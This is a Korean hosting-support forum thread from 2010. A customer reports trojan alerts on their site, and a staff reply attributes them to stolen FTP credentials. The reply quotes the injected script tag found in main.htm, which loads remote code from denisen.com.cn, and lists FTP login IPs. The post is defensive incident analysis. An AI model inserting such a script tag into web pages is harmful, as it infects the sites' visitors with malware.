|
|
|
|
|
질문과 답변
|
|
|
* 매뉴얼과 자주 묻는 질문을 먼저 확인 하시고, 질답 게시판에서 검색후 질문바랍니다.
* 질문시에는 자신의 계정 아이디와 홈주소를 필히 남겨주시기 바랍니다.
* 에러로 인한 문의시 에러메세지를 필히 함께 남겨주시기 바랍니다.
* 질답 게시판은 공개게시판으로 계정 비밀번호 정보를 남기시면 안됩니다.
|
| Read Reply from No. 34328 article |
2010-06-16 09:21:48 |
|
|
|
|
| NickName |
풀비누 |
| Subject |
Re: 바이러스 문의드립니다. |
|
|
ftp 작업을 하시는 pc 에 악성코드가 감염되어, ftp 접속정보가 유출되는것으로 예상되니
필히 바이러스 정밀점검및, 플레쉬 플레이어 / 아크로벳 리더 업데이트를 해보시기 바랍니다.
반드시 pc 내 바이러스 정밀 점검및, 프로그램 업데이트 후에 ftp 접속을 하셔야 재공격을
방지할 수 있습니다. (보내드린 메일에 자세한 안내가 되어 있습니다.)
----------------------------------------------------
k_nell at naver.com 으로 접속정보 답변메일을 송신하였습니다.
메일이 스팸함으로 이동될수도 있으니, 스팸함도 체크를 하여
보시기 바랍니다.
main.htm 파일을 다운 받아 메모장으로 열어보시면,
<noframes><script src=http://denisen.com.cn/editor/LICENSE.php ></script><body>
다음 줄이 보입니다. 이 줄이 아마 변조된(추가된) 내용으로 보여집니다.
ftp 작업을 하신적이 최근에 없다면(소스수정등) 서버 백업본으로 변조전 자료로 복구를
시도해 볼 수 있습니다. (재문의주세요)
감사합니다.
최근 ftp 접속 로그
knell ftpd19641 122.35.41.114 Wed Jun 16 01:25 - 01:25 (00:00)
knell ftpd19640 122.35.41.114 Wed Jun 16 01:25 - 01:25 (00:00)
knell ftpd19638 122.35.41.114 Wed Jun 16 01:25 - 01:25 (00:00)
knell ftpd19637 122.35.41.114 Wed Jun 16 01:25 - 01:25 (00:00)
knell ftpd19635 122.35.41.114 Wed Jun 16 01:25 - 01:25 (00:00)
knell ftpd19484 122.35.41.114 Wed Jun 16 01:25 - 01:25 (00:00)
knell ftpd14843 122.35.41.114 Wed Jun 16 00:44 - 01:00 (00:16)
knell ftpd14554 122.35.41.114 Wed Jun 16 00:44 - 00:44 (00:00)
knell ftpd24639 63.247.72.107 Sun Jun 13 00:52 - 00:58 (00:05)
knell ftpd2190 122.35.41.114 Sat Jun 12 14:13 - 14:15 (00:02)
knell ftpd21196 122.35.41.114 Sat Jun 12 13:54 - 14:10 (00:15)
knell ftpd20905 122.35.41.114 Sat Jun 12 13:54 - 13:54 (00:00)
knell ftpd28892 201.33.19.170 Sat Jun 12 07:57 - 08:11 (00:14)
knell ftpd28250 216.157.153.2 Fri Jun 11 14:32 - 14:32 (00:00)
knell ftpd24805 216.157.153.2 Fri Jun 11 14:27 - 14:31 (00:04)
knell ftpd9271 72.55.188.68 Thu Jun 10 21:33 - 21:38 (00:05)
knell ftpd19759 75.125.50.2 Wed Jun 9 11:08 - 11:15 (00:06)
knell ftpd17592 174.120.117.2 Tue Jun 8 16:33 - 16:35 (00:02)
knell ftpd14664 122.35.41.114 Mon Jun 7 19:44 - 19:54 (00:10)
knell ftpd24703 74.52.198.194 Mon Jun 7 19:12 - 19:19 (00:06)
knell ftpd6481 74.54.239.70 Mon Jun 7 14:13 - 14:20 (00:06)
knell ftpd28008 193.142.209.212 Mon Jun 7 13:27 - 13:35 (00:08)
knell ftpd22783 72.18.135.27 Sun Jun 6 23:58 - 00:02 (00:04)
knell ftpd12904 95.130.170.2 Sun Jun 6 14:23 - 14:32 (00:08)
knell ftpd21961 216.81.74.64 Sun Jun 6 01:29 - 01:29 (00:00)
knell ftpd18601 216.81.74.64 Sun Jun 6 01:24 - 01:29 (00:05)
knell ftpd12755 216.18.214.234 Sat Jun 5 11:27 - 11:30 (00:03)
knell ftpd21135 211.49.162.20 Fri Jun 4 21:27 - 21:27 (00:00)
knell ftpd29643 114.108.177.71 Fri Jun 4 02:41 - 02:42 (00:00)
knell ftpd25334 216.18.203.210 Thu Jun 3 08:34 - 08:38 (00:03)
knell ftpd7845 64.71.32.29 Wed Jun 2 16:06 - 16:14 (00:07)
knell ftpd8717 122.35.41.114 Wed Jun 2 06:53 - 07:10 (00:16)
knell ftpd2552 195.177.227.29 Tue Jun 1 23:05 - 23:13 (00:08)
knell ftpd12986 67.222.129.64 Tue Jun 1 13:19 - 13:24 (00:04)
릭 wrote..
:
:
: 계정아이디 knell, 페이지 주소 http://knell.byus.net/psynic
: 계정의 특정 페이지(위)에 접속할 때마다 트로이목마가 뜨는데요,
: 예전 제가 사용했던 같은 류의 게시판과 비슷한 증상을 보이다가
: (그 게시판은 갑자기 php에 오류가 생겨 사용할 수 없게 되었습니다만)
: 오늘 네이버백신 실시간감시 작동중 접속해본 결과 계속해서 바이러스가 발견됨을 확인했습니다.
:
: 계정 내 모든 파일을 내려받은 후 백신으로 치료, 재업로드 했으나 마찬가지였고요.
: (제로보드 쪽의 몇몇 data 파일들이 다운로드도 업로드도 삭제도 실패하긴 했습니다.)
:
: 혹시 계정상에 문제가 생긴 건가 하여 문의드려봅니다. 또는, 해결방법이 있을런지요?
[ 관련글 ]
|
|
|
Page Loading [ 0.47 Sec ]
SQL Time [ 0.44 Sec ]
|
|
|
Re: 바이러스 문의드립니다. 